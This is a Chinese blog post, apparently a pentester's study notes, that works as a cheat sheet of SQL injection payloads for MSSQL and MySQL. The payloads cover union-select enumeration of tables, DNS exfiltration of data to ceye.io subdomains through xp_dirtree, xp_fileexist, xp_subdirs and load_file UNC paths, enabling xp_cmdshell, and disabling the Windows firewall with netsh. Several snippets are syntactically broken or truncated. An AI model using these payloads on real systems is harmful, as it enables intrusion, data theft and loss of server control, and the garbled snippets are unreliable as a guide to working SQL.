mssql 第三十六天

  1. top
    1. 替代limit数据
  2. mssql
    1. mssql的union select联合查询
    2. mssql的时间延时盲注
    3. mssql数据外带
    4. 获得xp_cmdshell开关
    5. 关闭防火墙:
    6. mysql外带数据

top

替代limit数据

在替代limit的三种写法:

    select top1*from (select top 3 id,title,from news) as b order by b.id desc 

select top 1 * from (select top 3 * from users order by 1 asc) as b order by 1 desc;

select top 2 * from users where id not in (select top 1 id from users)
或者:
select top 2 * from users where id not in ('1','2')

使用top的原因是:在access和mssql中limit不可用,用top来限制。

mssql

mssql的union select联合查询

select '1','2','3','4','5' union select 'a','s','c','d',(select top 1 table_name from information_)

select name from master..sysdatabases;  存储啦所有的数据库名

select name from master..sysobjects where xtype='U';用户表

select char(126),select table_name from information_schema.tables for xml path('');

X path('')相当于mysql中的concat


top在mssql中的应用


mssql的时间延时盲注

  mssql的延时盲注,多与多语句配合使用。

mssql数据外带

四种方法:
    declare @a varchar(1024)
    set @a=db_name
    exec('master..xp_dirtree"//'%2B @a %2B'.wss.ceye.io/a' "'")

获得xp_cmdshell开关

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1  
RECONFIGURE

关闭防火墙:

exec xp_cmdshell 'netsh firewall set opmode mode=disable'

第一种方式外带数据:

declare @a varchar(1024);
set @a=(select top 1 * from (select top 2 table_name from information_schema.tables) as b order by b.table_name desc);
exec(‘master..xp_fileexist “//‘ %2B @a%2B’.wss.er5bvx.ceye.io/shell”‘)

第二种方式外带数据:
declare @a varchar(1024);
set @a=(select top 1 * from (select top 2 table_name from information_schema.tables) as b order by b.table_name desc);
exec(‘master..xp_dirtree “//‘ %2B @a%2B’.wss.er5bvx.ceye.io/shell”‘)

第三种方式外带数据:
declare @a varchar(1024);
set @a=(select top 1 * from (select top 2 table_name from information_schema.tables) as b order by b.table_name desc);
exec(‘master..xp_subdirs “//‘ %2B @a%2B’.wss.er5bvx.ceye.io/shell”‘)

第四种外带数据的方式:
xp_cmdshell需要为DBA权限:
xp_cmdshell要求必须为DBA权限才可使用。方式即 Windows命令行下 利用ping等命令获取数据.

开启方式:
– 启用:
exec sp_configure ‘show advanced options’,1
reconfigure
exec sp_configure ‘xp_cmdshell’,1
reconfigure

–关闭:
exec sp_configure ‘xp_cmdshell’,0
reconfigure
exec sp_configure ‘show advanced options’,0
reconfigure

select * from sysconfigures where comment like ‘%show advanced options%’ or comment like ‘%shell%’
然后执行:

xp_cmdshell执行:

declare @a varchar(1024);
set @a=(select top 1 * from (select top 2 table_name from information_schema.tables) as b order by b.table_name desc);
exec(‘master..xp_cmdshell “//‘ %2B @a%2B’.wss.er5bvx.ceye.io/shell”‘)

mysql外带数据

操作的sql原理:
select load_file('\\\\o0K708.ceye.io\\a');

而 load_file('c:\\1.txt'),可以读取文件内容,是mysql外带数据的基础,读数据库文件内容

应用实例:
select load_file('\\\\',version(),'.o0k708.ceye.io\\a')

可以与concat联合使用
select load_file(concat('\\\\',select version(),'.o0k708.ceye.io\\a'))

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com

文章标题:mssql 第三十六天

本文作者:弈少

发布时间:2019-09-07, 13:34:37

最后更新:2019-09-08, 16:00:58

原始链接:http://yoursite.com/2019/09/07/北京渗透测试第三十六天 20190904/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

相册